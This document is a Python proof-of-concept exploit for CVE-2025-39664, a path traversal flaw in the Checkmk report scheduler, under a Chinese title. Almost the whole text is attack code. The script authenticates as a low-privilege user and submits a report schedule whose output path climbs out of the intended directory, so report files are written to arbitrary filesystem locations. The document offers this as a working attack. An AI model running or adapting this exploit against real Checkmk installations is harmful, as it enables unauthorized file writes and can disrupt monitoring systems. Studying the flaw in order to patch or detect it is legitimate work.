CVE-2025-39664 Checkmk报告调度器路径遍历漏洞

# CVE-2025-39664 - Checkmk Report Scheduler Path Traversal PoC # This PoC demonstrates the path traversal vulnerability in Checkmk's report scheduler # Affected versions: <2.4.0p13, <2.3.0p38, <2.2.0p46, and 2.1.0 (EOL) import requests # Configuration TARGET_URL = "https://checkmk-target.example.com" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/check_mk/login.py" login_data = { "_username": USERNAME, "_password": PASSWORD, "_login": "1" } response = session.post(login_url, data=login_data) # Step 2: Navigate to report scheduler and create a malicious report schedule # The vulnerability exists in the path parameter where user input is not properly escaped report_scheduler_url = f"{TARGET_URL}/check_mk/report_scheduler.py" # Malicious path with directory traversal to escape the intended root directory malicious_path = "../../../../tmp/malicious_report_location" # Craft the report schedule payload with traversal path schedule_data = { "report_name": "legitimate_report", "output_path": malicious_path, # Path traversal payload "schedule_type": "daily", "action": "create" } # Step 3: Submit the malicious schedule response = session.post(report_scheduler_url, data=schedule_data) if response.status_code == 200: print("[+] Path traversal payload submitted successfully") print(f"[+] Report files will be stored at: {malicious_path}") print("[+] Files written outside intended root directory") else: print(f"[-] Request failed with status code: {response.status_code}") # Note: This vulnerability allows writing report file pairs to arbitrary locations # on the filesystem, potentially affecting system availability (A:H in CVSS vector)